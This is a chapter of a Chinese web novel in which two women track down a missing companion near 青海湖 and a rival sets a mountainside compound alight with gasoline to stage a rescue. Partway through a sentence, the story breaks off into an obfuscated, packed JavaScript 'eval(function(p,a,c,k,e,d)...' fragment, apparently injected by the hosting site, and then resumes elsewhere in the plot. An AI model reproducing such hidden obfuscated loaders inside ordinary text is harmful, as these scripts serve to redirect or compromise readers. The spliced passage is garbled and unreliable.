眼下即使知道佟刚很危险,但一无所知,也只能干着急,冷晚晚冥思苦想,在屋里走来走去想办法,小夭内心焦灼,实在不知道怎么办,只能把希望全放在冷晚晚身上,毕竟人家有脑子。 “不管了,先开车出去,往我们最后追他的那个方向去!” 冷晚晚目光坚定,说完,又看了看两人身上的装扮,接着说:“咱们赶紧换衣服,马上出发!” 小夭立刻明白了冷晚晚的意思,两人麻利地脱掉裙装,迅速换上了适合运动的紧身长袖+裤装,小夭在衣兜里塞了满满一兜棒棒糖,冷晚晚则带上了腰包,装上了天罗地网,临出门,她想了想又拿了两件冲锋外套,扔了一件给小夭,一切准备就绪,两人快步往外走。 一出门,白日里的炙热已经消退,取而代之的是从湖面吹来的阵阵凉风,也许是心情影响,小夭觉得冷极了,下意识打了个冷颤,赶忙穿上了冲锋外套。 外头天色已经浓黑如墨,辽阔无垠的天地间,仿佛只有这一隅亮起了盏盏灯火,一切看起来静谧祥和,只有呼呼的风声从耳边卷过,却不知道另一处正在发生什么样的人间惨剧。 她们快步走到客栈大厅,央金早就回了客栈,有新的旅客来入住,她正在前台忙着办理住客登记信息,冷晚晚跟她拿了小马的车钥匙,简单说了几句就跟小夭出了门,快步朝着门外车的方向走去。 与此同时,周游和二百八正在餐厅吃晚饭,还是中午的老几样,番茄耗牛锅、沙葱炒鸡蛋,二百八饿极了,埋头吃得正投入,餐厅里突然进来了几个年轻姑娘,看起来面生,应该是客栈里新入住的住客,一个个虽称不上绝色佳人,但胜在青春活泼,周身都洋溢着朝气蓬勃的力量,二百八不免抬头多看了几眼。 就在他收回视线的时候,无意间往窗外瞥了一眼,借着窗户透出去的亮光,正正好看到窗外的冷晚晚和小夭,正朝着小马的车子那边走,看样子是要开车出去,他顿时激动起来,嘴巴里的食物还来不及咽下,就着急忙慌跟周游说话。 周游一脸嫌弃,看都懒得看他:“你能不能把嘴里的东西咽下去再说话!” 二百八眼睛盯着窗外,赶忙囫囵地咽下食物,手指激动地往外指:“你快看!快看啊!这俩妖女不知道大晚上的又要开车去干什么!” 一听这话,周游的目光随即看向窗外,外头夜色黑沉,冷晚晚和小夭像是两只鬼魅的猫,在黑暗种快步穿行,她们的打扮不同以往,都换了裤装,穿了冲锋衣,还扎起了头发,看起来飒爽干练,一看就像是有什么重要行动。 眼见她们已经拉开了车门,周游立马站起身来,扭头看了二百八一眼,转身就快步往大厅走,二百八顿时心领神会,赶忙扒了几口碗里的饭,起身一溜小跑跟着出去了。 两人急匆匆刚拐进大厅,正好跟抱着一堆毛巾过来的央金撞了个满怀,央金被突然闪现的两人吓了一大跳,手里的毛巾掉了一地,她捂着胸口退到一边,嘴里惊呼不断:“啊威!(哎呀)啊威(吓死我了)!” 周游口中连连抱歉,忙躬下身子捡起毛巾递给央金,他担心追不上冷晚晚的车,实在不敢耽搁,作势就要往外走,央金一边开玩笑埋怨,一边脸色奇怪地打量两人。 “你们这么着急忙慌的要去哪儿啊?不会也要出去吧!” 周游笑笑:“嗯,出去消消食!” 说完,他又刻意反问了一嘴:“你这么问,是谁出去了吗?” 突如其来的一问,央金愣了一秒,立刻打马虎眼:“也没谁!我就随便问问,最近湖里不是出事了嘛,我就想提醒你们别靠近湖边,担心出事!” 周游明知她没说实话,也不深究,只是笑笑:“嗯,我们知道,就随便逛逛了就回来,晚上吃太多了!” 说着就跟二百八一起往外走,刚开始两人走得还不紧不慢的,一出了门,两人几乎飞奔着冲向二百八的车,迅速启动,一脚油门,车轰然一声就飙了出去。 冷晚晚她们的车已经走了一会儿了,遥遥的还能看见两个红色尾灯,二百八赶紧加大油门追了过去,湖边的公路上根本没别的车,要是离得太近很容易被发现,周游不断提醒:“不要离得太近!” “知道!” 二百八打起万分精神,跟前车一直维持着不远不近的距离,就这么安静的过了一阵,话唠属性的他终于忍不住,开始了八卦:“诶,你说她们大晚上的出门,会不会是找她们那个‘哥哥’幽会去了?” 周游冷着脸,没说话,二百八嘻嘻哈哈自顾自地说:“肯定是!要不然用这么偷偷摸摸,还挑个大晚上么!” 周游不知怎么,心里竟然闪过一丝不爽,出口的话都带了怒意:“好好开你的车!别给我跟丢了!天天脑子里尽想这些乌漆嘛糟的事儿!” 二百八瘪瘪嘴,一脸的不服气,嘴里嘟嘟囔囔:“你不知道夜里开车容易分神啊,讲讲八卦提提神都不行?” 周游不理他,偏头看向窗外,月色如洗,清辉遍地,而白日里蓝盈盈的青海湖此时却黑沉的紧。 **** 冷晚晚开着车离开客栈,刚上了大路不久,兜里的手机叮铃一声响,有条短信进来了,她忙着开车,从兜里掏出手机扔给了副驾的小夭。 “我开车呢,不方便,你看看是谁发来的信息!” 小夭心不在焉的点开手机,在看到信息内容的瞬间,眼睛登时就瞪大了,紧接着双眼放光,一脸激动地看向冷晚晚,连握着手机的手都跟着激动的发抖。 冷晚晚觉出了异样,侧头看她:“怎么了?谁发的信息?” “不知道是谁发的,说……我们想要救人就去南巴村!” 说完,小夭像是不敢置信,盯着屏幕又仔仔细细地看了一遍,这才肯定地说:“我没看错!就是这么说的!让我们去南巴村!” 正愁着不知道去哪里救人呢,突然从天而降一根救命稻草?小夭几乎要喜极而泣了,真不知道是哪位菩萨显灵啊! 冷晚晚却一脸狐疑:“不知道是谁发来的信息?” “嗯,是个陌生号码,我打过去问问!” 小夭说着就急忙回拨了过去,电话那头立马响起了一个熟悉的女声——“您拨打的电话已关机,请稍后再拨……” 关机?小夭不放弃,又再次回拨,还是关机,怎么回事? 小夭心里隐隐担心,以冷晚晚警惕多疑的性格,多半不会相信这种来历不明的信息,也是,万一是什么阴谋诡计,就等着她们进入圈套呢?但眼下没有别的路了,也不能漫无目的,到处乱窜吧,佟刚等不起了啊!这条信息也许是唯一的希望了,万一这条信息是真的呢?万一佟刚真的在南巴村呢? 小夭想到这里,犹疑地看向冷晚晚,心里有些惴惴不安,不过思考再三,还是照实说了。 “对方关机了……” “关机了?” 冷晚晚目视前方,眉头紧促,咬唇沉默了。 小夭眼巴巴地望着她,生怕从她嘴里吐出一个“不”字。 片刻后,冷晚晚突然轻飘飘来了一句:“既然让我们去南巴村,那我们就去看看!” 说完,她又补了一句,“快点查一下导航,过去南巴村要多久?” “好!”小夭激动地连连点头。 她手指快速在手机点了点,赶忙又说:“大概要两个小时!” 小夭话音刚落,冷晚晚突然猛踩油门,车一下子飙了出去。 车在平坦的公路上一路飞驰,疏朗的月光拂过辽阔的西北大地,目之所及的世界都呈现出冷冽的黑白色调,前车灯打出的两束暖光,像是破坏某种既定规则的存在,突兀地出现,与周围的景致显得有些格格不入。 夜里开车,冷晚晚双手紧握方向盘,精神高度集中,一旁的小夭因为救援暂时有了方向,心里稍安,掏出根棒棒糖扔进嘴里,咂巴咂巴吃起来,两人一路无话,时间一分一秒过,直到视线远处出现星星点点的灯光。 小夭低头看了看手里的导航,柔声提醒:“前面就是南巴村了!” “好!” 冷晚晚说着就慢下车速,那条匿名短信虽然提到了南巴村,但也没说具体在哪里,冷晚晚担心车速太快会错过很多线索,于是开始慢慢向南巴村靠近。 南巴村很小,约莫二三十处民居散布在公路两侧,车沿着公路慢行,冷晚晚不断提醒小夭注意观察村子里的情况,小夭听话地趴在车窗上,眼睛一眨不眨地盯着窗外,冷晚晚则一边开车一边关注另一侧的情况。 车就这样慢慢地开了五六分钟,车子都已经开到了村子外围,两人也没发现什么异样,家家大门紧闭,有的屋子里黑灯瞎火的,大抵是已经休息了,有的屋子窗口还透出电视机一闪一闪的光来,实在没看出什么异常,如果短信属实,佟刚会在哪里呢? “我这边没发现什么异常。” “我这边也是。” 小夭说着,一脸沮丧地侧头看向窗外,顿时有种拔剑四顾心茫然的失落感,低声哀叹:“不会是耍我们玩儿的吧,人到底在哪里啊?” 冷晚晚机警地看向四周,害怕打草惊蛇。 “我们不能在这里逗留太久,我先把车往前开一段。” 说完,径直加速把车往前开,约莫开了几百来米,斜侧方的坡下突然冲出来一辆汽车,速度极快,瞬间就冲到了她们车的前面,然后突然一个横打方向盘急刹车,车子直接横在了她们的车前,硬生生拦住了去路。 事发突然,眼见跟前车快撞上了,冷晚晚赶忙一脚急刹,由于惯性两人控制不住地往前猛冲,冷晚晚的脑袋直接撞到方向盘上,咚一声响,顿时疼得五官皱成一团,一旁的小夭也没好到哪里去,脑袋撞到了挡风玻璃,捂着脑袋疼得直叫唤! “会不会开车!眼瞎啊!” 冷晚晚和小夭瞬间怒火中烧,几乎异口同声。 短短一天时间,接连被拦路了两次,小夭真是越想越气,揉着脑袋,盯着前车的眼睛里简直能喷出火,她咬牙切齿地就要下车去找前车理论。 “不知道是哪个找死的玩意儿,小姑奶奶下去会会!” 她拉着车门把手,刚准备往外推,冷晚晚心里一惊,赶忙一把拽住了她的胳膊。 “别下去!这地儿我们不熟悉,小心有诈。” 一听这么说,小夭瞬间清醒,往外头瞄了瞄,她们已经远离了村庄,四下里黑灯瞎火,荒得吓人,她里立马就打消了下车的念头,心里埋怨自己被怒气冲昏了头,这荒郊野外要是下了车,说不定就会上演电视剧里的那种绑架挟持的情况,想到这里,各种熟悉的电视剧桥段在脑海中浮现,小夭不禁有些后怕,暗骂自己没脑子,差点佟刚还没救出来呢,把她们俩搭进去了!还好有冷晚晚在,比自己有脑子,遇事冷静周密。 正想着呢,前车突然有了动静,后轮慢慢挪动,车竟然直接横过来,将路堵了个严严实实。 小夭紧盯着前车,满脸紧张:“这车把路堵死了什么意思?不会真的要谋财害命吧?” 冷晚晚没说话,面上尽量维持着冷静,心里却已然警铃大作,她一会儿紧盯前方,一会儿又看一眼后视镜,生怕会出现前后夹击的状况,还好还好,后面没车,要是发现不对劲可以赶紧撤退,瞬时间,她脑子里已经做好各种状况的演练。 就在这时,前车突然降下了车窗,驾驶座里的人探出头来,车内暖黄的灯光氤氲,勾勒出分明的五官曲线,那人吊儿郎当,晃头晃脑地跟她们招了招手。 两人定睛一看,眼珠子差点掉出来。 这不是那个骆晓川吗?他怎么会在这里? 小夭一见是他,那真是仇人相见分外眼红啊,火气腾腾就上来了,她咬牙切齿骂出了声:“这个糟心的玩意儿怎么又来了,真是阴魂不散!早知道应该把他四个轮子都卸了!” 冷晚晚不动声色,眯眼看向骆晓川,心里却是一动,立马联想到了一点——佟刚离开的时候是让这个骆晓川帮忙拖住了她们,所以他会不会知道佟刚的去向呢?想到这里,脑中又是亮光一闪,她又想到了那条匿名短信。 会不会也是他发的呢? 正想着呢,小夭手里的手机突然滋哇乱叫地响起来,吓了两人一跳,冷晚晚立马意识到这个电话可能就是那个发匿名短信的人打来的,而那个发匿名短信的人,可能就是此时此刻正拦在她们车前的骆晓川,但这都只是她的怀疑。 小夭低头看了一眼手机的来电显示,突然有些激动地立起手机,冲着冷晚晚晃了晃。 “那个匿名号码打来的!” 某些猜想正在一点点印证,冷晚晚冲着小夭点点头,示意她接电话。 小夭接通了电话,立马按下了免提,电话里传出一个男人的声音。 “喂,是我!” 短短几个字,冷晚晚一听,心里立刻了然。 就是骆晓川。 一旁的小夭第一时间没有听出来,只觉得声音熟悉得很,于是自言自语嘟囔了一句:“这人谁啊?声音怎么这么熟悉,像是在哪里听过?” 冷晚晚听了这话,转头对着小夭做了好几遍口型,示意她对方是骆晓川,但小夭看得一头雾水,根本不知道是什么意思,下意识“啊?”了一声。 电话那头很安静,一直在听着这头的动静。 冷晚晚看着小夭很是无语,只好转头冲着电话那头语气不善地说:“我说是谁眼瞎不会看路呢?原来是你啊!一而再再而三的,拦车上瘾了?再这么找死,下次我可不一定刹得住车了!” 冷晚晚本身就对骆晓川没什么好印象,说话自然也不跟他客气。 这话一出,小夭立马悟了,原来手机那头的男人就是眼前这个叫骆晓川的男人。 明白这一切后,小夭更生气了,心想你逗我们玩儿呢?既然知道佟刚有危险,为什么不直接跟我们说,还绕这么大一个圈? 骆晓川自然也听出了冷晚晚话语间的怒意,刚准备开口解释,结果小夭抢先一步,在电话这头火气冲冲地开骂了。 “你什么东西啊?拦我们的车!长得贼眉鼠眼、歪瓜裂枣的,一看就不是什么好东西,还以为自己多帅呢?以后走夜路小心点,小心被人像卸轮胎一样大卸八块……” 小夭也不打磕巴,一口气足足骂了两分钟,那叫一个酣畅淋漓,只是骂着骂着就气血上涌,偏离了重点,把佟刚的事儿给忘到了脑后。 等到她终于骂完了,骆晓川才淡定的出声:“骂完了吗?!骂爽了?” 说完顿了几秒,又像是气不过,声音顿时高了几度:“我也没你说的辣么差吧?!” 小夭怒气上头,正准备张嘴对他再发起一轮攻击,冷晚晚觉得再这样斗嘴下去也没什么意义,还是正事要紧,于是食指抵住嘴巴,示意她不要说话,小夭这才及时打住,乖乖闭嘴不说话了。 见这边不说话了,骆晓川反而有些不适应了,忙问:“怎么不说话了?” 冷晚晚径直开口:“你说你知道佟刚在哪里?” 骆晓川顿了一秒,语气瞬间变得正经,十分肯定地回答:“是的!” “佟刚现在很危险?” “是的!” 一听佟刚有危险,小夭立马激动起来,冷晚晚伸手向下压了压,示意她冷静,接着又问:“你让我们怎么相信你?” 骆晓川在电话那头叹了口气,说道:“我开诚布公地告诉你们,我是水捞子,你们够聪明的话,应该之前已经猜到了,我没有必要骗你们!再说了,我跟佟刚是朋友,我不会害你们!我来青海混了好几年了,这里水捞子的动向我最清楚了,这件事很复杂,我一时跟你们说不清楚,先把佟刚救出来,我再跟你们慢慢说,我现在只能告诉你们,佟刚去了半山腰,那里住着一群从水里上来的人不人鬼不鬼的东西,很凶险!” 骆晓川说着,上半身探出车外,伸手往身后的远山指了指。 “啰,就在远处那山的半山腰!” 冷晚晚原本觉着这个吊儿郎当的男人说话不怎么靠谱,但听他说到后面几句时,心里咯噔一下,立马联想到了自己在水下的所见所闻,难道是那东西上了岸,还对佟刚造成了威胁? 想到这里,冷晚晚在心里下定了决心。 “行,这次就信了你!赶紧带我们去救人!” “好!” 骆晓川回答的爽快,立马关上车窗,侧打方向盘,车子又重新归位,开始朝着黑夜里远山奔驰而去。 车在公路上开了一段后,径直往左狂打方向盘,下了公路,在草场中穿行,车速渐渐慢下来,冷晚晚发现骆晓川刻意选了一条绕远了的路,其实直接从村子横穿过去到山脚更近,对于这种做法,冷晚晚倒也能理解,毕竟人群聚集的地方人多口杂,谨慎点有好处。 越靠近山脚,草变得越发稀疏,到处都是坑坑洼洼裸露的沙土地面,骆晓川的车摇摇晃晃走在前面,车轮碾过地面发出细密的摩擦和破碎声,车尾尘土瞬间扬起,密密匝匝往后罩了过去。 冷晚晚紧跟其后瞬间遭了殃,从挡风玻璃望出去灰蒙蒙一片,车灯打出去,像是打在浓雾之上,冷晚晚赶忙侧打方向盘,让车往旁边让一让,避开了源源不断的尘土攻击,在侧后方紧跟着前车,跟红色尾灯一直维持着不远不近的位置。 又慢腾腾走了一阵,小夭趴在车窗上往山的方向看,黑压压的山体已然近在眼前。 “快到了!” 说话间,骆晓川的车突然停了下来,车灯打在不远处,昏黄一片。 难道有什么情况?冷晚晚见状也立马跟着停了车。 骆晓川开门下车,大踏步往后走,外头风很大,把他整个人都要吹斜了,头发也跟着歪斜到了一边,他三步并作两步走到冷晚晚驾驶室旁边,敲了敲车窗。 冷晚晚降下车窗,冷冽急促的夜风瞬间灌进了车厢,车里的两人下意识眯起了眼睛。 “怎么了?” “只能开到这里,我们得走上去,免得打草惊蛇。” 他的声音沾着夜色,裹着瑟瑟的风声,带着几分嗡嗡的混响。 冷晚晚点点头,升起车窗,骆晓川这才转身往自己车的方向走,夜风推着他,衣服都紧贴在身上,他走到车尾时停下来,用力拉开了后备箱,然后俯身下去一顿翻腾,像是在找什么东西。 冷晚晚目不斜视地盯着骆晓川,对一旁的小夭说:“走吧!下车!” 小夭莫名有些紧张,问道:“我们要不要带点防身的武器?!” 冷晚晚想了想:“那你去看看小马的后备箱有没有什么趁手的工具。” “好!” 两人迅速下车摔上车门,夜里的风很大,吹得衣服都鼓荡起来,冷晚晚站在车门边默默观察着骆晓川的动向,小夭则快步往车后走,打开后备箱,翻找了一会儿,最后一脸不满意地走到冷晚晚旁边站定,左手拎着一个扳手,右手拎着一个螺丝刀。 “实在找不到别的了,就这俩,凑合着用吧,你要哪个?” 冷晚晚低头看一眼,伸手接过了扳手,在手里颠了颠。 “就这个吧!行了,咱们走吧!” 冷晚晚说完,锁上车门迈步往前走,小夭紧随其后,一边走一边看手里的螺丝刀,忍不住嘟嘟囔囔开始吐槽:“这小马也是,不在后备箱装点杀伤力大的东西!就这两个东西,一点威慑力都没有!” 骆晓川的车停在她们斜前方四五米的位置,后备箱大敞着,他懒散地坐在后备箱里,目视着两人向他走过去,等两人走到他面前,他借着后备箱的灯光打量了一下两个人,在看清她们手里握着的东西时,一个没忍住,笑出了声。 “你们俩不会想着用扳手和螺丝刀,去对付半山腰的那东西吧?” 小夭一见骆晓川那个贱嘻嘻的样子就要炸,扬起下巴,一脸不服气:“怎么了?不行?” “行行行!”骆晓川笑得更浓了,“过会儿你一定拿着你的螺丝刀让我开开眼啊!这装备,过会儿不说伤敌一千吧,至少能自损八百……” 说完,又刻意扫了一眼两人手里的“武器”,噗嗤又一声,接着笑得前仰后合起来。 “你你你!你笑什么笑,笑你大爷!”小夭气急,脑子一时又想不出别的什么有杀伤力的话反击,气得直跺脚。 冷晚晚在一旁冷脸看着,见骆晓川那个得瑟的样子,握着扳手的手实在有些发痒,于是突然挥起扳手,那扳手被她挥得虎虎生风,作势就要往骆晓川头上砸,骆晓川猝不及防,吓得瞬间就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小夭一个人落在了后头,四周黢黑无尽,风声呜咽像低吟的妖魔鬼怪,她吓得拎着油桶一通猛跑,两条腿都快倒腾的冒烟了,最后一把拽住冷晚晚的胳膊就不撒手了。 冷晚晚本来那条胳膊下头还拎着油桶,这一下被拽得身子一晃,无奈侧头看她:“你干嘛?” 小夭笑笑,嘴硬说道:“风吹得冷,这样贴着暖和!” 冷晚晚沉默了两秒,然后默默换了个手拎油桶,倒腾的过程中,脚下步子也不停,快步走到骆晓川身侧,低声询问:“为什么要带汽油?半山腰的那东西怕火?” 骆晓川语调漫不经心:“不知道,我只知道它们似乎很怕阳光,一般不会在白天出没,其他的只能说试试,不过救人,这几桶东西应该比你们手里的那两玩意好使。” 短短几句,虽然有很多语焉不详的地方,但冷晚晚还是从字里行间中意识到眼前这个男人肯定知道很多她不知道的事。 她试探着问:“你怎么知道佟刚有危险?” 骆晓川倒是没有隐瞒,开诚布公地说:“因为我一直在观察马家人的动向……” 说到这里他停了一下,扭头瞥了冷晚晚一眼:“哦,就你口中那家该死的修车铺的老板!佟刚突然来青海跟他们搭上线了,我自然也就知道他的动向了。” 冷晚晚心里一惊,所以西瓜皮是青海马家人,也是水捞子。 短暂的震惊过后,她一脸惊讶地看向骆晓川:“你的意思是,你一直在监视马家?” 骆晓川十分不以为然:“怎么能说叫监视呢,这叫观察、关注,关注同为水捞子的动向,不是正常吗?你以为只有我做这样的事?水捞子这几家明面上虽然长久没联系,但私底下谁没有相互监视动向呢?” 冷晚晚不说话了,她对水捞子几个家族的事情了解太少了,冷家大大小小的事有大伯担着,大伯又还有冷毅、佟刚这几个得力助手,根本不需要她操心,她也乐得逍遥自在,半年在荆水运营晚来食居,半年来青海找寻父母的下落,对于冷家的事基本不知道、不了解、不过问,也许是她的错觉吧,她总觉很多事大伯也都刻意瞒着她,不让她过多参与。 见冷晚晚不说话了,骆晓川突然捡过话头,问出了自己白日里好奇的事。 “诶,听说你今天白天下水救人了?你是不是在水下看到那不人不鬼的东西了?” 这一句话迅速唤醒了冷晚晚的记忆,她瞬间一个激灵:“你是说半山腰那东西,就是水里那东西?” 骆晓川摇头:“不完全,水里那东西还没有进化完全,还没办法上岸生活。” 听到这里,冷晚晚莫名有点不寒而栗,在此之前,她还在试图说服自己,水里那东西也许只是什么不明生物而已,但这一刻,真相却突然以一种颠覆性方式侵入她的大脑,解构了她的认知,一种不真实的荒诞感瞬间如潮水般涌来。 “那东西到底是什么?”未知的恐惧让冷晚晚不可抑制地轻颤起来。 “犭颉(xié)!” “那是什么?” “《山海经》里的一种异兽!” “你怎么知道这些?” “这个说来话长……现在不是说这个的时候……” 说话间,几人已经从山脚开始摸黑往上爬了,夜风夹杂着尘土呼呼往脸上吹,所有人都下意识眯眼、埋低了头。 就这样埋头吭哧吭哧爬了十几分钟,半山腰的那个院子渐渐显露在眼前了。 土石垒的院子,看起来倒是没什么特别,跟当地人的房子无异,几人悄声靠近,蹲在院门一侧探头往院子里看,院门右侧的平房有一扇窗户里亮着灯,显然里面有人。 佟刚会在里面吗?小夭盯着那扇窗,心里暗暗猜想,但愿吧!但愿他就在里面,她们今晚能成功把他救出去! 小夭越想心里越焦急,于是迫不及待地问骆晓川:“现在我们要怎么救人?!直接杀进去?” “你?杀进去?拿你的螺丝刀?”骆晓川一脸无语。 又被调侃,小夭十分不爽,咬牙切齿地说:“你能不能不要再提螺丝刀了!!!” 骆晓川不敢再惹,听话的闭了嘴,眼睛在院子里扫来扫去,很快发现院子的角落里堆放着一大堆风干的牛粪,顿时有了主意,他伸手指了指牛粪,低声说:“走,过去把汽油浇到牛粪上!” 话音刚落,屋子里突然传出几声男人凄惨的哀嚎声,听得人脊背发凉,浑身震颤,小夭更是吓得六神无主,腿都软了,一屁股跌坐在地上,慌乱中一把拉住冷晚晚的胳膊,不安地问:“佟刚应该没事吧!” 见小夭这个样子,冷晚晚虽然也不安得很,但还是尽力安抚小夭,低声宽慰:“没事的,没事的,佟刚一定吉人天相!” 情况紧急,不能再等了。 冷晚晚和骆晓川对视了一眼,月光下,两人的眸子黑沉幽深,微微发亮,片刻之间两人像是达成了某种共识,几乎同时起身,拎着油桶一道小跑着就往院子的一角绕过去。 见状,小夭也回了神,赶紧起身,拎着油桶深一脚前一脚地跟了过去。 院墙差不多两米来高,骆晓川把油桶搁在地上,牟足劲往上蹦起,同步伸出长臂,单手勾住了院墙的边沿,然后腰腹用力上纵,轻轻松松就跃上了墙头,跨坐在上面,视线往院子里扫了一眼,正下方刚好就是牛粪堆,风味很足。 冷晚晚见状,正准备有样学样往上攀爬,却被骆晓川俯身下来低声阻止。 “你们别上来了,把油桶递给我!” 他说着朝冷晚晚伸出手,冷晚晚立马垫着脚把手里的油桶递给他,又赶忙拎起他搁在地上的油桶,仰头看着他,准备递给他。 墙头上的骆晓川动作麻利,轻手轻脚地开盖,倒油,一气呵成,一桶汽油很快就倒完了,他把空油桶扔在牛粪堆上,立马俯身下来朝冷晚晚伸手,冷晚晚赶忙又垫着脚把油桶递给他,还顺便问了句:“还要吗?” 他小声回道:“够了!” 两桶汽油下去,骆晓川从兜里掏出一个打火机,咔哒一声,火焰的光亮刚一露面,骆晓川就迅速脱手,把打火机扔了下去。 淡蓝色的火焰登时腾起,骆晓川迅速翻身跃下墙头,就在他落地的瞬间,火焰张牙舞爪越过墙头,往更高的夜空伸手,几秒的燃烧后,火焰变成了橙红色,火势熊熊,火光瞬间映红了半边天。 接着,院子里有女人的惊呼声传出来,骆晓川一分一秒都不敢耽搁,赶忙朝着冷晚晚伸手。 “把汽油给我!” 还没等冷晚晚明白过来,他已经快步走过来,一把拎过她手里的汽油桶,拧开盖子,一边走一边往墙上泼。 冷晚晚知道他为什么泼,但又不理解他为什么要泼,这院子都是石头垒的,汽油泼上去即使燃烧也不会对墙体造成特别大的损伤啊,正想着,冷晚晚突然想到什么,心里一动,还是说他根本就不是为了烧? 她赶忙转身往山下看,此时远处的村子里灯光依次亮起,阵阵狗叫和喧闹的人声从远处传来,想来应该是山腰的火光惊醒了沉睡中的村民,冷晚晚瞬间明白过来,这应该才是他想要的效果吧。 不人不鬼的东□□居一隅,偏偏选在这半山腰上,不就是为了避开人群吗?这一场火势把它们引到人前,它们势必惊慌失措,想尽方法隐藏躲避,无暇他顾,因而屋子里的人得以暂时安全。 骆晓川一鼓作气,一桶汽油泼完,又朝小夭伸手,小夭赶忙把手里的汽油桶递了过去。 很快,两桶汽油泼完,他们已经绕到了屋子背后,骆晓川又从兜里掏出一个打火机,打燃抛了过去,瞬间火光连成一片,将院子包围。 “走!” 骆晓川说着,拉着冷晚晚和小夭就小跑着绕到院门口附近,趴伏在坡下的灌木丛里,注视着院子里的动静。 熊熊火光中,他们看到一个壮硕男人的身影,他拿着长柄笤帚手忙脚乱地扑打着牛粪堆上的火焰,结果打来打去,火却越烧越旺,眼见火势控制不住了,这时一个身形消瘦的女人牵着一个又哭又闹的小孩从屋里奔出来,手里还端着一个铁盆子。 女人走到院子中央松开了小孩的手,孩子被眼前景象吓得仍旧哭个不停,女人也不管他,端着盆子小跑着就往火堆方向去了,跑到近前,扬起盆子哗啦一下,一盆子水就泼了下去,但此时牛粪堆的火势很大,温度太高,一盆水下去根本没什么影响,女人生气的把铁盆子摔在地上,胸腔剧烈起伏,她打着圈看着院墙四周,接近癫狂地大喊:“是谁?是谁放的火?” 可哪里会有人来回复她呢!她气得跳起来直跺脚,癫狂的模样把一旁的小孩儿吓得都不敢哭闹了。 也就在这个瞬间,借着熊熊火光,趴伏着的冷晚晚看见了那女人的长相。 不是说这里生活着不人不鬼的东西吗?但眼前这个女人却看起来和正常人无异,而且十分像她认识的一位故人——她的大伯母。 那个跟自己父母一起消失在青海,定格在大伯书房相框里的女人。 ***